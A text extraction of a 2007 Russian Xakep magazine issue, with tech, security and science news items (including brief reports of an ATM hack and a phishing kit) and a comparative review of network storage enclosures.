12.07.2015 Views

Февраль

Февраль

Февраль

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

meganewsОлег чебенеев/ mindw0rk@gameland.ru /Юрий Свидиненко/ metamorph@yandex.ru /cергей никитин/ NIkitin@glc.ru /вместительныйкорпус GMCВ последнее время приставка «slim» все чаще и чаще фигурирует в названиях компьютерныхкомпонентов. В общем, это хорошо — вся наша машинерия начинает занимать меньше местаи выглядит при этом очень стильно. Вот и компания GMC представила новый корпус форм-фактораSlim ATX, модель С-30. Ширина этого вместилища компонентов всего 14 см, а высота на 8 смменьше, чем у стандартных корпусов. Вот общие габариты устройства: 140х435х360 мм. Несмотряна такие размеры, в него можно установить полноценную системную плату формата ATX. Вообщеместа в нем хватает: 1 отсек 5,25" и 3 отсека 3,5" (1 внешний и 2 внутренних, все устройства крепятсябез винтов). Вроде не много, но если подумать, то достаточно для всего необходимого.7 слотов для плат и 4 USB-разъема на корпусе тебе также несомненно пригодятся. В корпус ужеустановлен 350 Вт блок питания и 80 мм вентилятор на задней стенке.ДвамикрогигабайтаWindows Vistaна малышеКарты памяти сегодня распространены повсеместно: компьютеры мобильные, компактныеи настольные; разнообразнейшие плееры; сотовые телефоны; фотоаппаратыи многое другое. Столь же велико и разнообразие кардридеров: внутренниеи внешние, большие и маленькие, разбирающие 10 и 50 типов карточек. Чтобыхранить много музыки, нужна вместительная карточка, чтобы сделать многофоток — тоже, а если у тебя современный телефон, оснащенный плеером, фото-и видеокамерами, то без 2 Гб карты памяти TransCend формата MicroSD тебе простоне обойтись. Она имеет адаптер для работы в стандартном слоте SD, пожизненнуюгарантию и поддержку Secure Digital Music Initiative (те, кому нужно, знают, чтоэто такое). Так что направляйся в магазин!Несмотря на то что Windows Vista занимает на жестком диске местабольше, нежели ее предшественницы, ее можно установить на самыймаленький в мире комп — OQO model 02, который весит 450 г (его габариты— 14,6x8,38x2,54 см) и помещается в карман. Модель поставляется с 1,5 ГГцпроцессором VIA C7M, жестким диском объемом 60 Гб, 1 Гб ОЗУ, а также блокомдля работы с беспроводными сетями. В него входят всем известные Wi-Fi, Bluetooth, а также интерфейс EV-DO Wireless WAN. Понимая, что работав дороге — это важно, но в конце концов все приезжают на свое трудовоеместо, производитель снабдил OQO док-станцией, которая позволяет работатьс полноразмерными дисплеями, клавиатурой, мышью, подключатьсяк проводным сетям, а затем брать все свои файлы и приложения в дорогу бездополнительной синхронизации. Также в нее входит оптический привод сощелевой загрузкой. Стоит добавить, что устройство заключено в прочныйкорпус из магниевого сплава. Цена всего этого удовольствия начинается от1500 долларов./ 004xàêåð 02 /98/ 07


meganewsбанкомат взломалиmp3-плееромНеуязвимый он только снаружиБританский горе-хакер Максвелл Парсонс селза решетку на 2,5 года за взлом банкоматов с помощьюmр3‐плеера и специального софта. Находчивыйпарень подключал свой плеер к телефоннымлиниям, по которым с помощью модемабанкомат связывался с процессинговым центромодного их банков. Плеер записывал звукина линии, которые впоследствии демодулировалисьспециальной программой, написаннойукраинскими напарниками хакера.Чтобы разобраться, как администраторы банкадопустили такой маразм, мы обратились к серьезнымдядям в костюмах.«Перехват модемного трафика и его последующийанализ — далеко не новая технология из$8000за взломWindows Vista«шпионского» арсенала, — говорит АлексейРаевский, генеральный директор SecurIT. —Банкоматы обмениваются с банком информациейпо специальному протоколу, которыйпозволяет не передавать PIN-код в открытомвиде. Это определяется требованиями соответствующейплатежной системы. Однако всяостальная информация, в том числе номеркарты, имя владельца и т.д., может передаватьсяв открытом виде — это уже на совестипроизводителей банкоматов и сопутствующегоПО». По мнению Алексея Раевского, в этомслучае возможность перехвата модемноготрафика не учитывалась, поскольку обычнаядвусторонняя аутентификация с выработкойодноразового сеансового ключа и последующеешифрование трафика этим ключом позволилибы избежать подобной проблемы.Как считает Иван Глазачев, глава российского представительстваChronoPay B. V., все данные от банкоматовпередаются в зашифрованном виде, сейчасдля этого повсеместно применяется 1024‐битноешифрование. Единственная возможность взлома— это получить доступ к ключам шифрования. Скореевсего, у бандитов была инсайдерская информацияили кто-то из них работал в банке.Как бы там ни было, факт остается фактом:mр3‐плеер можно использовать не только дляпрослушивания музыки :).Качественный фейк одного из банковНовыйинструментфродеровЭксперты компании RSA обнаружили, чтомошенники продают и используют новый наборпрограмм для фишинга Man In The Middle.Он дает фродерам возможность продвигатьсложные схемы фишинга в дополнениек стандартным, чтобы получить доступ к даннымпотребителей.Эта программа для одних являетсягениальной, а для других — шокирующей. С помощьюпростого поддельного письма пользовательнаправляется на поддельный сайт, гдеон видит точную, зеркальную копию атакуемогосайта. Например, ты кликаешь по линку изписьма мошенника, чтобы получить информациюот своего онлайн-банка. Как только страницазагружена, ты видишь в точности то, чтоожидаешь, — сайт банка во всей красе. Трюкфродеров состоит в том, что программа используетспециальные туннели для созданияточной копии атакуемого web-сайта и постояннообновляет информацию об изменениях, происходящихна нем.В прошлом году фишинговой атакеman-in-the-middle подверглись корпоративныеклиенты Citibank. Фейковый сайт управлялся изРоссии. Вскоре он был нейтрализован.Американская компания iDefence, занимающаясяsecurity-бизнесом, объявила конкурс«Взломай Висту/IE 7.0 и получи8 тысяч долларов». Этот конкурс станет частьюпрограммы «Деньги за уязвимость» (pay-forflaw),целью которой является улучшениесистем безопасности наиболее популярногософта. Приз в 8 тысяч долларов получат только6 умельцев, которые раньше всех пришлютрезультаты своей хакерской деятельностиспециалистам iDefence.Для того чтобы получить денежное вознаграждение,необходимо, чтобы обнаруженной уязвимостьюможно было воспользоваться с удаленногокомпьютера, причем она должна присутствоватьво всех последних обновления и дополненияхк IE или Vista. Ошибки, найденные в бета-версияхпродуктов, поощряться вознаграждениемне будут.В настоящий момент iDefence далеко неединственная компания, согласная платитьхакерам деньги за поиск уязвимостейв программах. Так, некоторое время назадTrend Micro организовала подобный конкурсс призовым фондом в 50 тысяч долларов. Наградадосталась хакерам, сумевшим обнаружитьуязвимости в Vista.Вся эта идиллия нарушается простымсоображением: если хакер найдет стоящийбаг, он сможет самостоятельно заработать с егопомощью куда больше, так что экономическаяцелесообразность тут весьма условна :)./ 006xàêåð 02 /98/ 07


meganews«Газету.Ru»задосиликрутой тюнерАтакованный хакерами сайтИнформационный портал «Газета.Ru» недавно подвергся массированнойDDoS-атаке, которая вынесла авторитетный ресурс в аут. Админы«Газеты» уточнили, что в течение полутора часов их ресурс флудила целаякуча ботов из американских и европейских сетей. К такому агрессивномуповедению ботов они оказались не готовы: на полтора часа ресурслег в даун.HIS поддерживаетAGP’шниковПомнишь, как совсем недавно ты собрал себе крутейший комп наоснове графической шины AGP. Он полностью тебя устраивал и устраиваетсейчас, но вот беда — производительность видеоподсистемы ужене тянет. Не тянет современные игры, которые тебе ну очень хочетсязапустить. Что же делать? Менять все? Но это слишком дорого, даи не нужно, ведь все остальные компоненты вполне могут ещеработать. Отчаиваться не стоит — решение нашла компания HIS, выпустивплату на чипе ATI Radeon X1950 PRO с системой охлаждения IceQ3и интерфейсом AGP. Эта плата наверняка оживит твою систему, а мощнаяи тихая, но занимающая 2 слота система охлаждения не позволит ейсгореть. Платы будут выпускаться в двух вариантах, различающихсяколичеством установленной памяти, — 256 и 512 Мб DDR3. Так что AGPснова в «игровом строю»!Все больше и больше устройств стремятся быть подключеннымик ПК, одновременно оставаясь от него независимыми. И если раньшеэто были оптические приводы, умеющие проигрывать фильмыи музыку без загрузки операционной системы, то теперь сюда добавилсявнешний ТВ-тюнер Beholder TV Solo. Это симпатичный внешнийдевайс, который покажет твои любимые «Спокойной ночи, малыши» дажебез включения системного блока, достаточно нажать «Power» намониторе. Стоит добавить, что одним ТВ дело не ограничивается— тюнер ловит также УКВ- и FM-радиостанции. Поддерживаетсяразрешение до 1680х1200, функция Picture-on-Desktop, индивидуальныенастройки для каждого канала (будь то радио или ТВ), регулировкауровня шумоподавления, таймер включения и выключения. Имеетсятакже пульт дистанционного управления и меню на русском и английскомязыках.вылазка в мирАдреналинаНедолго нам с тобой осталось зимовать: скоро заканчивается последнийкалендарный месяц зимы, и вместе с появлением весеннего солнышканам придется высунуть нос туда, где делается настоящая история.10 марта в Москве произойдет событие, о котором еще долго будет шуметьсеть. Adrenalin Games — это пока не компьютерная игрушка, но имеетвсе шансы ею стать. Это Зимние Международные Игры экстремальныхвидов спорта, которые соберут несколько тысяч экстремалов и сотнижаждущих увидеть их трюки. Такое шоу в Москве показывали пока развечто на мониторах: звезды сноуборда и ньюскула со всего мира и лучшиерусские райдеры, нереальные вылеты и приземления. 10 мартавиртуальная реальность экстремальных игр станет экстремальнойреальностью Игр в Москве. До 10 марта еще естьвремя, можно последить за развитем событий on-line наwww.adrenalingames.ru. C наступлением же весны, следуетготовить вылазку в мир адреналина./ 008xàêåð 02 /98/ 07


meganewsДо этого Дэвиду Саваджу смогли пришить только одну рукуПришьеттебе докторновенькие ручки…Хирургия не стоит на месте! Она сделала качественный скачок от пересадки кожис ягодиц на лицо до пришивания отдельных конечностей! Так, 47‐летней колумбийкеЭльбе Люсии взамен давно ампутированных рук пересадили новые. Эту тяжелую10‐часовую операцию выполнили хирурги из госпиталя в Валенсии.Операция состоялась 30 ноября, а уже в декабре женщина благополучно выписаласьиз больницы. Без рук Люсия провела 28 лет, прошедших после взрыва в химическойлаборатории, который и сделал ее инвалидом.Новые руки Люсии начинаются с места, расположенного немного выше локтя. Их хирургисмогли взять у женщины, которая фактически погибла в результате несчастногослучая: медики признали, что ее мозг мертв.Ампутированные руки донора были охлаждены и менее чем за 5 часов доставленыв операционную, где и была проведена операция. Пересадка правой и левой рукпроходила одновременно. Ею занималось 10 человек.Для соединения костей в них были установлены металлические пластиныи винты, а микрохирургия позволила соединить артерии, вены и нервы.ПланшеткаПланшетный ноутбук — это стильно и необычно. Ты согласен? Если да, то компанияLenovo выпустила новинку — ThinkPad X60 Tablet, ноутбук-трансформер, — именно длятебя. Вторая часть слова «ноутбук-трансформер» указывает на функцию вращающегосядисплея, которой ты наверняка поразишь окружающих. По нему можноударить — все будет в порядке, экран имеет 12 дюймов ударопрочной антибликовойповерхности, которая может управлятьсякак стилусом, так и пальцем. Угол обзорана нем составляет 170 градусов, а разрешение— в стандарте SXGA+. Беспроводнаясвязь представлена адаптеромWi-Fi 802.11n. Из приятных особенностейстоит отметить совместимостьс Windows Vista, наличие цифровогомикрофона, а также очень удобнуюфункцию: при извлечении стилуса ПКавтоматически выходит из спящегорежима.Lotus —триумфминимализмаВ наш век, когда все становится меньше и меньше, тенденцияминиатюризации захватила даже… автомобили! Так, китайскийдизайнер Пэтти Юань предложила лишить авто парыколес и всех дверей, попутно превратив утилитарное средствопередвижения в образец искусства и украшение города.Дизайн суперавто Camper Lotus построен по типу: одна ось,пара кресел, электромоторы и корпус-хамелеон.В глаза, конечно, сразу бросается футуристичностьмашины. Длина этого малыша составляет 1,3 метра, ширина— 1,4, высота — 1,55. Доступ в нее открывает лобовоестекло, соскальзывающее вверх и назад. Внутри — паракресел, установленных бок о бок. За их спинками расположенкрохотный багажник на пару кейсов или сумок с продуктами.Устойчивость в движении на одной оси обеспечит электроникас гироскопами, такая как на самокате Segway. А настоянке сзади кабины выдвигается упор.Питаться аппарат будет от электричества. При этом Lotusможно будет подзаряжать от домашней розетки! Небольшиеразмеры и вес машины должны обеспечить ей низкий расходэлектричества, а значит, ей потребуются сравнительнонебольшие и более-менее дешевые аккумуляторы.Электромобиль Lotus должен появиться на рынке как новыйпродукт и бренд испанской компании Camper, хорошоизвестной, прежде всего, свой обувью, а также проектамив других областях.Пэтти позиционирует машину в первую очередь как фетишпродукт.Но, кто знает, возможно, такое миниатюрное решениепозволит немного разгрузить магистрали будущего.xàêåð 02 /98/ 07


meganewsAppleпредставляетiPhoneОтец теориичерных дырполетит в космосВсемирно известный астрофизик Стивен Хоукинг (Stephen Hawking)сделал заявление о том, что в этом году планирует совершить полет в невесомостина самолете, а в 2009‐м — отправиться в космос. Несмотря насвое тяжелое заболевание, Стивен Хоукинг собирается продолжить научнуюработу и после полета в космос. Основные научные исследованияученого касаются черных дыр, геометрии пространственно-временногоконтинуума и необратимых процессов во вселенной.Хоукинг надеется, что реализовать эту идею ему поможет британский миллионерсэр Ричард Брэнсон, руководитель компании Virgin Galactic. Средиближайших крупных планов фирмы — запуск корабля SpaceShipTwo. Этоткорабль должен будет в 2009 году с 6-ю пассажирами на борту полететьпо суборбитальной траектории. Там участникам путешествия будет обеспеченавозможность некоторое время побыть в невесомости. Стоимостьэтого двухчасового полета составляет около $200 тысяч, однако Брэнсонвыразил готовность спонсировать путешествие Хоукинга.На днях всемирно известному астрофизику исполнилось 65 лет. Он страдаетбоковым амиотрофическим склерозом и прикован к инвалидномукреслу. С миром Хоукинг может общаться только с помощью специальногосинтезатора речи, являющегося основной частью его кресла, в которомон проводит почти все время.Стивен ХоукингГлава Apple Стив Джобс после Нового года подготовил крупныйанонс. Apple решила не мелочиться и заявила сразу 3 новых продуктав одном — телефон, КПК и широкоэкранный видеоплеер!Внешне iPhone больше всего напоминает концепт-изображениятеперь уже мифического широкоэкранного плеера от Apple. Тончайший11,6‐миллиметровый корпус украшают огромный 3,5‐дюймовый сенсорныйэкран и одна-единственная кнопка! Apple полностью отказалась отнеуклюжих клавиатур. Для управления не нужно пользоваться стилусом— достаточно одних лишь пальцев. Запатентованная технология отличаетсяудивительной точностью, регистрацией сразу нескольких одновременныхнажатий и полным игнорированием случайных прикосновенийк поверхности экрана.В iPhone имеются встроенные динамики, удобный фотоальбом и встроеннаядвухмегапиксельная камера. Работать со звонками здесь так жеудобно, как и в любом другом телефоне.Синхронизировав данные с компьютером и отредактировав адреснуюкнигу, ты легко сможешь обнаружить нужный номер, позвонить, устроитьтелефонную конференцию, создать голосовое или видеосообщение. Нашелновый номер — к твоим услугам потрясающе красивая виртуальнаяцифровая клавиатура.iPhone поддерживает GSM, EDGE, Bluetooth и Wi-Fi. Apple сделалареальностью полноценную работу с интернетом на карманномустройстве. Благодаря браузеру Safari на экране полностью помещаютсякрупные сайты; пальцем ты клацаешь по ссылкам, увеличиваешьили уменьшаешь масштаб, выбираешь необходимую информацию. Имеетсябольшой набор сетевых сервисов (Google Maps, YahooMail, Widgets). Работа с электронной почтой, при сохранении высокойфункциональности, также была максимально упрощена.Были объявлены сроки выхода и цены на это чудо. 4‐гигабайтныйiPhone стоит $500, а 8‐гигабайтная модель — $600. Но при этомцены указаны c учетом оформления двухгодичного контракта с операторомCingular. Первыми модель увидят жители США — это произойдетв июне 2007 года. Найти iPhone в европейских магазинахможно будет только к концу этого года./ 012xàêåð 02 /98/ 07


meganewsИскусственнаякожа-имплантБлизок тот день, когда в лаборатории достаточно быстро будут выращивать кожунужного размера, а для того чтобы она не отторгалась, использовать при культивированиисобственные клетки пациента.Этот способ недавно предложил Стивен Бойс из университета Цинциннати. Его применениепозволит вырастить крошечный фрагмент кожи больного до размеров, в 100раз превышающих исходный.Но и этот метод не без проблем: пока культивированная кожа не приживется, покав ней не прорастут мельчайшие сосуды, поставляющие вместе с кровью и агентов иммуннойсистемы, медикам придется накладывать на поверхность новой кожи антибактериальныеповязки. Коллега Бойса Дороти Сапп придумала выход из ситуации: онаподвергла клетки кожи генетической модификации, в результате которой они сталипроизводить намного больше антибактериального белка, известного под названиемдефенсин hBD4.Но прежде чем проводить первые клинические пересадки кожи, исследователипроверят этот метод на животных. В настоящее время проведены опыты лишь с отдельнымиклетками. Их результаты показали, что они действительно генерируют большенужного для защиты белка, что теоретически придает выращенной коже большезащитных свойств в адаптационный период.Клетки кожи с повышенным содержанием защитного белкаАрктический «ныряльщик»готов к работе!Ученые из британской организации по исследованию Антарктикисобираются в новую экспедицию для исследования глубин океана близледяного континента. Они будут использовать дистанционно управляемыйаппарат Isis, способный погружаться на 6,5 километров.Со своей «стартовой площадкой» — британским научным судном«Джеймс Кларк Росс» — субмарина-робот соединяется 10‐километровымкабелем. 3‐тонный аппарат несет массу оборудования: фото-и видеокамеры, сонары и т.д. Он оснащен двумя «руками» для сбораобразцов. Также его можно оборудовать сетями и бурильной установкой.Миссия аппарата начнется в январе 2007‐го и продлится 3 недели.При помощи Isis ученые намерены изучить дно в районе залива Маргаритки(Marguerite Bay). Исследование будет вестись сразу по двум дисциплинам— геологии и биологии. Цель геологов — изучить отложения надне, оставшиеся от материковых льдов, покрывавших залив 20 тысяч летназад. А по словам биологов, участвующих в этой экспедиции, никто ещедетально не исследовал глубоководный мир у берегов Антарктиды. Такчто и тут ожидается масса открытий./ 014Аппарат IsisОбразец напечатанной тканиПечатаеморганына принтереАмериканские ученые смогли приспособить струйный принтердля печати «чернилами», содержащими фактор ростастволовых клеток. Таким образом, сделан еще один шаг напути к печати органов на заказ.В своих опытах ученые использовали специальныйструйный принтер, приготовив для него особые«чернила»: раствор, содержащий фактор роста BMP-2,который провоцирует превращение стволовых клетокв клетки костной ткани. Они покрыли предметное стекломикроскопа фибрином и распечатали при помощи струйногопринтера 4 отдельных квадратика со сторонами по750 микрометров. В каждом — своя «яркость краски», то естьконцентрация BMP-2. Далее пластинку положили в чашкуПетри и равномерно нанесли на нее взрослые стволовыеклетки, взятые из мускулов ног мышей. Стволовыеклетки, оказавшиеся на участках с фактором роста, началипревращаться в клетки костной ткани. И чем больше былаконцентрация BMP-2, тем выше оказывался «урожай» дифференцированныхклеток. Стволовые же клетки, которыепопали на чистые участки, превратились в мышечныеклетки, из чего следует, что этот путь развития стволоваяклетка выбирает по умолчанию.При этом можно создать такую структуру подложки, в которойодин конец будет развивать кость, еще один— сухожилие, а третий — мускулы. Это обеспечит большийконтроль над регенерацией ткани.Ученые говорят, что могут напечатать и более сложныевещи. Однако уровень развития науки пока ограничиваетвозможность применения принтера. Прежде нужно болеедетально изучить строение и процесс формирования органовчеловека.xàêåð 02 /98/ 07


ДНК-машиныоткрывают путьнанороботам>> meganewsУченые-нанотехнологи создали «руку робота» на основемолекулы ДНК и прикрепили ее к двумерной кристаллическойДНК-матрице. Им впервые удалось приделать сложноенаномеханическое устройство к матрице-кассете, сохранивего функциональность. Ученые доктор Симэн и его коллегадоктор Баокан Динг из университета Нью-Йорка в своей работевзяли за основу ДНК-машину PX-JX2 DNA, которая имеет 2структурных состояния, «переключающихся» при поворотеодного из концов молекулы. Кассета — это специальнаяплоская ДНК-структура, играющая роль фундамента для«руки робота». Она состоит из трех спиральных участков ДНК— доменов, один из которых короче остальных и при соединениис «рукой робота» заставляет последнюю располагатьсяв плоскости, перпендикулярной кассете. Так исследователи добилисьэффективного прикрепления ДНК-наномашины в строгоопределенном направлении к двумерной ДНК-матрице. Атомно-силоваямикроскопия показала, что ДНК-наномашина, работающаякак «рука робота», нормально функционирует послесоединения с кассетой. Ранее доктор Симэн и его коллегисоздали машину-транслятор, позволяющую синтезироватьполимеры на основе стабильной PX-JX2 наномашины. Помнению исследователей, это открытие — первый серьезныйшаг к развитию наноробототехники, так как ДНК-машину можнотиражировать с помощью генной инженерии.ТелевизорснаружиВнешних устройств становится все больше и больше, но вотTВ-тюнеров среди них пока что не очень много. Но ситуацияменяется. Так, компания Compro анонсироваламодель VideoMate V600 — тюнер с широкимивозможностями. Это стильный внешний девайс, цвет и дизайнкоторой украсят любой рабочий стол. Для удобства работытюнер имеет пульт дистанционного управления, так что хрестоматийноележание на диване с ДУ в руках ты получишь. Лежатьможно перед любым типом мониторов и даже передпроектором, благо подключение к ним поддерживается. Такжеподдерживается разрешение до 1680х1050, что есть оченьхорошо. Удобству общения с устройством способствуютбездрайверное подключение и таймер сна. Кроме того, изинтересных и полезных особенностей стоит отметить поддержкумониторов с различными соотношениями сторони диагоналями, функцию «картинка в картинке», отображениевидео на рабочем столе и возможность как вертикальной, таки горизонтальной установки.xàêåð 02 /98/ 07/ 15


ferrumЕвгений ПоповLANрэкиТестируем устройства для организациисетевого хранилища данныхМетодика тестированияТестовый стенд:Процессор, ГГц: 2,21, AMD Athlon64 3500+, Socket 939Материнская плата: AlbatronK8SLIЧипсет: NVIDIA nForce4 SLIПамять, Мб: 2х1024, Corsair XMS3500LL-ProВинчестер IDE, Гб (в боксе): 20,IBM Deskstar DTLA-305020Винчестер SATA (основной), Гб:250, Western Digital WD2500JSТестируемое оборудование:Vipower VPA-3528Net SilverSarotech U-Stor NDS-354ul-WhiteTRENDnet TS-I300Agestar NUB3ARTFloston LAN DiskNetgear SC101Мы не стали изобретать велосипед и обязалинаши девайсы выполнить свою прямую обязанность,а именно записать или прочитатьфайл. Предварительно оценивалось качествосборки, подключения винчестера и синхронизации.Не забыли мы заглянуть и в коробкуна предмет изучения комплектации. КогдаNAS-устройство уже было готово к работе,мы передавали на жесткий диск фильмTrainspotting объемом 697 Мб. Ну а после мызабирали тот же фильм из хранилища. Логикапроста — кто быстрее, тот и чемпион. Усреднениепо результатам производилось с учетомтрех тестов.Организация домашней сети может создать много проблем и поставить огромное количествовопросов. Одна из таких труднорешаемых задач — организация сетевого хранилища.В принципе, можно воспользоваться старым компьютером, с помощью котороголегко создать файловый сервер. Однако старый комп в наличии не у всех, и при этоместь более дешевый и разумный вариант. Сравнительно недавно в продаже появились3,5" HDD-рэки c портом Ethernet. По факту это пустые коробки, в которые помещаетсявинчестер нужного объема, хотя в продаже попадаются девайсы уже готовые к работе(с одним или двумя винтами в комплекте). При этом такое устройство NAS (NetworkAttached Storage) можно использовать и в качестве переносного носителя. В этом обзоремы рассмотрим несколько интересных решений для организации сетевого диска, определимлучших и выделим худших./ 016xàêåð02 /98/ 07


STRTICHO$65>> ferrum$160YUBESTBUYBEBSsHCOICEEDITOR’s’TOBIEUBYDCEETRENDnet TS-I300Agestar NUB3ARTИнтерфейсы: RJ-45 10/100 Мбит/сек, 1x USB 2.0Wi-Fi: нетСлоты под диски: 1Возможность расширения через USB: нетИнвертор питания: внешнийРазмеры: 227x119x56 ммВес: 0,44 кгБокс для LAN-диска от компании Agestar изготовлен из алюминия.Передняя и задняя панели этим похвастаться не могут— они пластиковые. Девайс обладает весьма компактнымиразмерами, а внешний вид можно даже назвать аскетичным.Ничем особенным бокс не выделяется: с тыльной стороны предусмотренысоединение USB 2.0 (через кабель), Ethernet10/100 Мбит/сек и нестандартный шестиконтактный выходна питание. На передней панели — подсветка в виде синегодиода. Также девайс способен отображать температуру HDDв процессе работы. Для этого предусмотрен внешний термодатчик,который пользователь может приаттачить по своемуусмотрению. Диск помещается внутрь бокса достаточно плотно.Плюс ко всему, его можно зафиксировать четырьмя винтамииз комплекта поставки. Верхняя и нижняя крышки устройствасоединяются между собой с помощью резиновых зажимов.Нельзя сказать, что это очень удобно, однако лучше уж так, чемхвататься каждый раз за отвертку.Отметим шумность работы вентилятора. Рассматриваемый боксиспользует в качестве чипсета схему RDC R2882, которая, прямоскажем, отрицательно влияет на скорость передачи данных.Если производить передачу по USB-каналу, то скорость ещеможет считаться приемлемой, но если кидать файлы через LAN,то пользователи довольны явно не будут. Софт, поставляемыйв комплекте, не обновляется уже давно. А то ПО, которое естьв наборе с девайсом, недостаточно удобно. Когда бокс в собранномсостоянии, его переднюю панель можно отогнуть рукойв сторону. При этом ширина зазора будет порядка сантиметра.На скорость передачи данных это вряд ли повлияет, но ужетолько по этому факту можно судить о качестве сборки.Мануал в комплекте нельзя назвать подробным, да и написанон только на английском языке.Интерфейсы: RJ-45 10/100 Мбит/сек, 2x USB 2.0Wi-Fi: естьСлоты под диски: 1Возможность расширения через USB: есть (2x USB 2.0)Инвертор питания: внешнийРазмеры: 206х140х55 ммВес: 0,93 кгКомпания TRENDnet уже давно работает на российском рынке сетевогооборудования, так что качеству устройств от этой фирмы можно доверять.К сожалению, девайс приехал к нам с минимальной комплектацией(была лишь подставка да шнур) и без упаковки, поэтому перейдемсразу к внешнему осмотру. Сам бокс достаточно тяжелый — вес приближаетсяк килограмму, так что использовать его в качестве мобильногоносителя не очень удобно. Кнопка включения и диоды индикациирасположены на передней панели. Индикаторов всего 6. Цвет корпусатрадиционно синий. Верхняя крышка снимается путем удаления двухкрепежных винтов. Сам винчестер укладывается в алюминиевуюлюльку и закрепляется четырьмя винтами. Портов USB всего 2 — одинна лицевой панели, другой с тыльной стороны. Для использованиябеспроводного соединения предусмотрена антенна. При желании еевсегда можно открутить. Вентиляция винчестера — активная. Бловерформата 40х40 мм установлен на задней панели и работает на выдув.Отдельно отметим, что сетевой диск TRENDnet TS-I300 будет работатьсо всеми современными системами, будь то Windows, MAC или Linux.Софт регулярно обновляется на сайте производителя, а ПО в комплекте,наверное, одно из самых комфортных и функциональных.Из минусов этого устройства стоит отметить не самый удобный интерфейсдоступа к данным.Здесь мы имеем дело с системой RDC 3210, которая используетвнутреннюю ось Embedded Linux. Установка HDD, а именно фиксацияс помощью четырех винтов, займет некоторое время. Без определеннойсноровки и отвертки с магнитным наконечником проделать всю операциюбудет нелегко.AgestarNUB3ARTFloston LAN DiskVipower VPA-3528 Net SilverSarotech U-StorNDS-354ul-WhiteSarotech U-StorNHD-355Время передачи файла (697 Мб)205211252253274264331476347396Для каждого боксатест проводился 3раза (и для чтения,и для записи),после чего результатыпо времениусреднялиNetgear SC101196162TRENDnet TS-1300136174xàêåð 02 /98/ 070 50 100 150 200 250 300 350 400 450 500сек./ 017


ferrum$80$90Floston LAN DiskVipowerVPA-3528Net SilverИнтерфейсы: RJ-45 10/100 Мбит/сек, USB 2.0Wi-Fi: нетСлоты под диски: 1Возможность расширения через USB: нетИнвертор питания: внешнийРазмеры: 115х40х220 ммВес брутто: 0,62 кгЭто устройство позиционируется производителем как универсальныйвнешний контейнер для HDD с интерфейсом IDE.Девайс максимально прост для NAS-устройств своего класса.Корпус изготовлен полностью из алюминия. Ничего лишнегоне предусмотрено — лишь на одной из сторон «выгравирован»логотип компании Vipower. Люлька для винчестера выдвигаетсяпутем удаления четырех винтов с тыльной стороны, черезпереднюю створку вместе с лицевой панелью. Удивительно,но это первый девайс в нашем обзоре, мануал к которомунаписан на русском языке — мелочь, а приятно. Устройствоможет служить не только как сетевой носитель данных, но и какобычный внешний жесткий диск. С тыльной стороны предусмотренысвитч on/off, USB-коннектор, Ethernet 10/100 Мбит/секи кнопка экстренной перезагрузки.Вообще, вся процедура извлечения люльки для HDD и установкиего на свое законное место — дело, требующее времени.Во-первых, необходимо скрутить 4 винта, ну а после этогодолго трясущимися руками выдергивать из корпуса подложкус начинкой. Подложка застревает, а если и «едет», то соскрипом. Вентилятор, несмотря на свои крошечные размеры,работает за четверых, и, прежде всего, это касается шума.Длина шлейфа, который соединяет печатную плату с переднейпанелью индикации, настолько велика, что жесткийдиск не может занять свое место без усилий. Мало того, нужноочень сильно постараться, чтобы отверстия на боковых стенкахлюльки совпадали с отверстиями на винчестере. Кстати, руководствопользователя верно лишь для Windows. Линуксоидами MACOS’истам придется разбираться самостоятельно.Интерфейсы: RJ-45 10/100 Мбит/сек, USB 2.0Wi-Fi: нетСлоты под диски: 1Возможность расширения через USB: нетИнвертор питания: внешнийРазмеры: 122х35х215 ммВес брутто: 0,55 кгВсе спецификации и подробное описание особенностейFloston LAN Disk даны на двух языках — русском и английском.Сам девайс можно оценить, наверное, как самый изящныйи элегантный бокс во всем обзоре. Аскетичный корпус изготовленполностью из алюминия и выкрашен в серебристыйцвет. Исключение составляют лишь панельки — они сделаныиз пластика, но заметно это только при ближайшем рассмотрении.В продаже можно найти девайсы красного, синегои черного цвета. На боку корпуса сверкает логотип производителя.Заметим, что Floston LAN Disk не стыдно будет подаритьили использовать в офисе. В комплекте мы нашли подставкудля установки NAS-девайса в вертикальное положение, наборнеобходимых кабелей для работы с Floston LAN Disk и мануалс подробной инструкцией.За элегантность внешнего облика придется расплачиватьсяфункциональностью и удобством. Первое, что хочется отметить,— это то, что люлька связана с самим корпусом через короткийпровод, который отвечает за подсветку передней панели.Хорошо, что последний не припаян намертво (его можноотсоединить), иначе сама процедура установки винчестерапревратилась бы в пытку. Однако, чтобы задвинуть подложку доконца, требуется приложить серьезные усилия, да так, что начинаешьволноваться за сохранность хрупкой тыльной панели,на которую приходится опираться. На передней панели имеетсяпрозрачная надпись «Lan Disk», через которую, собственно,виден мигающий диод — симпатично, но не информативно.Что в данный момент происходит с NAS-адаптером (подсоединениечерез USB, использование LAN, заполнение диска и т.п.),понять очень сложно. Мануал, несмотря на то что на коробкебыло все так радужно, написан исключительно на английскомязыке, и то только для пользователей Windows. Хотя в спецификацияхпроизводитель утверждает, что диск легко работаети в MAC OS, и в LINUX.test_lab выражает благодарность за предоставленное на тестирование оборудование компаниям «НИКС — Компьютерный Супермаркет» (т. (495) 974-3333, www.nix.ru), Alcomtrade (т. (495) 785-8657, www.alcomtrade.ru), а также российским представительствам компаний NETGEAR и TRENDnet./ 018xàêåð02 /98/ 07


SBSTBRTI>> ferrum$87$130BESTBUYHOICEYUBECs’TOEUBYDESarotech U-STORNDS-354ul-WhiteИнтерфейсы: RJ-45 10/100 Мбит/сек, USB 2.0Wi-Fi: нетСлоты под диски: 1Возможность расширения через USB: нетИнвертор питания: внутреннийРазмеры: 145х37х220 ммВес брутто: 0,76 кгЕще одно устройство в нашем обзоре, которое позволяетнапрямую подключаться к сети без сложной IP-настройки илинепосредственного участия сервера. Первое, на что хотелосьбы обратить внимание, — это сумка в комплекте. Оченькачественный и крепко сшитый баул с кармашками — за такойи денег отдать не жалко. Помимо этого, в яркой упаковкесовершенно случайно оказались пластиковая пластина дляустановки Sarotech U-STOR NDS-354ul-White в вертикальноеположение, кабель питания, 4 винта для фиксации винчестера,а также LAN- и USB-шнуры. Внешний вид девайса очень официален— он напоминает скорее медицинский прибор узкогоназначения, чем NAS-устройство. Верхняя панель изготовленаиз толстого алюминия и выкрашена в белый цвет. Темно-сероеоснование одновременно играет роль люльки — крышкакрепится к нему с помощью четырех винтов. После ее удаленияпользователю открывается шикарный вид 